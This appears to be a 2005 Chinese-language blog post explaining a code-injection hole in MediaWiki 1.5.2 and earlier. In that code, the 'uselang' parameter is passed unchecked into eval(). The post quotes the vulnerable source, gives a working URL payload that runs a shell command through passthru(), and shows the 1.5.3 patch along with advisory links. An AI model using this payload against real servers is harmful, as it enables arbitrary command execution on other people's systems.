mediawiki 1.5.2 and prior
2005-12-19 03:01
mediawiki 是一套輕便的 wiki 系統
很多人用它來當網路上的筆記本
其 1.5.2 (含) 版本以前 ,
在 includes/Setup.php 中有一個 vulnerability .
相關的 source code 如下 :
$wgLanguageCode = $wgRequest->getText('uselang', '');
$wgContLanguageCode = $wgLanguageCode;
$wgContLangClass = 'Language' . str_replace( '-', '_', ucfirst( $wgContLanguageCode ) );
$wgContLang = setupLangObj( $wgContLangClass );
function setupLangObj($langclass) {
if( ! class_exists( $langclass ) ) {
# Default to English/UTF-8
$baseclass = 'LanguageUtf8';
require_once( "$IP/languages/$baseclass.php" );
$lc = strtolower(substr($langclass, 8));
$snip = "
class $langclass extends $baseclass {
function getVariants() {
return array(\"$lc\");
}
}";
eval($snip);
}
$lang = new $langclass();
return $lang;
}
其中 , 取得 uselang 這個參數後並未作詳細的檢查 , 在後面就帶入 eval( ) 去執行 ,
於是就可以來玩填字遊戲 -
想辦法把
class $langclass extends $baseclass { function getVariants() { return array(\”$lc\”);}
填成一段完整的 php code , 就可以任意執行指令了.
ex : 跑個 df 試試 ....
uselang=Ox%20{};passthru('/bin/df');echo%20′finished.';exit;class%20Ox
Patch :
觀察 mediawiki 1.5.2 和 1.5.3 的 Setup.php 可以發現
170d169
<
221c220
< if( empty( $wgLanguageCode ) || preg_match( '/^[^a-z-]*$/', $wgLanguageCode ) ) {
---
> if( empty( $wgLanguageCode ) || !preg_match( ‘/^[a-z]+(-[a-z]+)?$/', $wgLanguageCode ) ) {
如此若 uselang 中有奇怪的字元 , 就會將它設回預設值了.
Reference -
http://secunia.com/advisories/17866/
http://www.frsirt.com/english/advisories/2005/2726
http://www.kb.cert.org/vuls/id/392156
Open Webmail 2.20, 2.21 and 2.30phpBB <= 2.0.10
新增留言
Trackback this post | 訂閱這則留言的 RSS Feed